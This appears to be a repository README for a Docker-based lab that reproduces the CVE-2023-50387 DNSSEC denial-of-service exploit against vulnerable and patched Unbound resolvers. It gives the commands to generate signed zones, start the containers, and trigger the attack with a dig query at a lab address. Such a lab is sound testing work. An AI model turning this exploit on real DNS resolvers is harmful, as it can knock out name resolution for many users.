
DNS vulnerability exploit for CVE-2023-50387 with automated RRSIG key generation and Docker-based attack simulation against vulnerable and patched Unbound resolvers.
Repository based on https://github.com/knqyf263/CVE-2023-50387 with several modifications:
To auto-generate configuration files:
./generar.sh
Preconditions: the script is written for Linux, requires python3 and the utilities dnssec-keygen and dnssec-signzone (on Debian-based systems, in the bind9-utils package).
To start the dockers:
sudo docker-compose up --build
To trigger the attack:
sudo docker compose exec -it attacker dig @10.10.0.3 www.a.test